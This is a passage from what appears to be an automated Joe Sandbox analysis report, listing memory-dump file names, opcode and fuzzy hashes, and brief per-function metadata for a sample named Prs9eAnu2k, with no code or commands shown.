                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 194b1e9f7992c7b919597fa56089a32913e4a1d6ceb8f728d31f22bf67bf3837
                                            • Instruction ID: 939b6232716162714ed146c4463b0abb0d2a1644ae9737b474de4b3c6e14b954
                                            • Opcode Fuzzy Hash: 194b1e9f7992c7b919597fa56089a32913e4a1d6ceb8f728d31f22bf67bf3837
                                            • Instruction Fuzzy Hash: 5CF0C233B616390BA3A0DDB66C001E7A2C3A3C0370F1F8669EC44E7602E934DC4687C6
                                            Function 0068AAC0 Relevance: .0, Instructions: 41COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: fe21089785e6a1748e56388996be618063e6c4318fc8050aa5774256bf8bb64f
                                            • Instruction ID: bc9bdad79ae1a7e8b1307d4e3e181a9ad3613d5cf92a8b758733cd793d5973e3
                                            • Opcode Fuzzy Hash: fe21089785e6a1748e56388996be618063e6c4318fc8050aa5774256bf8bb64f
                                            • Instruction Fuzzy Hash: DEF01C33A20A344B6360CD7A8D05597A2D797C86B0B1FCA69ECA5E7206E930EC0656D5
                                            Function 005B9980 Relevance: .0, Instructions: 7COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 099005e21713b44db5d542f3c5d2868a5507d13671acee2f721239b71157dfed
                                            • Instruction ID: 5cb51d94cad15f086d737dbcd02d948b6bfef49466414125bd0dea94031f92d3
                                            • Opcode Fuzzy Hash: 099005e21713b44db5d542f3c5d2868a5507d13671acee2f721239b71157dfed
                                            • Instruction Fuzzy Hash: B5B01231A002008F5706CA34DC714D132B273A130035AC8E8D00345011D635E0138600
                                            Function 0075D1D0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 399COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: @$Inf$NaN
                                            • API String ID: 0-141429178
                                            • Opcode ID: 830143b51f49dc9b127ec22b0c9af26b06bb55e29508ab1acee9d78366eda8f9
                                            • Instruction ID: b749536bd6e5de54c49552e7e7dd7b4d5bc468b72c2f0670a4e2187790fbe363
                                            • Opcode Fuzzy Hash: 830143b51f49dc9b127ec22b0c9af26b06bb55e29508ab1acee9d78366eda8f9
                                            • Instruction Fuzzy Hash: 21F19F70608381CBD7319F24C0907EBBBE1BB85315F148A6DEDD987281D7B99D49CB82
                                            Function 00436810 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 344COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: [
                                            • API String ID: 0-784033777
                                            • Opcode ID: 280c209b2554e0b7e8603ce083d96a275c5809b26ad2cb2ebde44efb59abdbb9
                                            • Instruction ID: df668f0cf10a18916620bfa72a43f53ad81fcc4238a3e3db6e71059c81f5bb14
                                            • Opcode Fuzzy Hash: 280c209b2554e0b7e8603ce083d96a275c5809b26ad2cb2ebde44efb59abdbb9
                                            • Instruction Fuzzy Hash: D2B17C7150836377DB359A24888077BBAD8EF5D304F16A52FE8C5C6281D62CE8448B5B
                                            Function 0075B1A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: islower
                                            • String ID: $
                                            • API String ID: 3326879001-3993045852
                                            • Opcode ID: ea0f4f2f02c77cff6850d85ad844458c6e7b1f7dbe77ef8bfb68b44ec121d332
                                            • Instruction ID: ff87a37cef07252617056744d5db73096b634df1d58263d6df5cf183bcbd2c1c
                                            • Opcode Fuzzy Hash: ea0f4f2f02c77cff6850d85ad844458c6e7b1f7dbe77ef8bfb68b44ec121d332
                                            • Instruction Fuzzy Hash: E961F7706087458BC7149F69C8802BFFBE2AFC9315F144A2DEC959B391E7F8D8498B52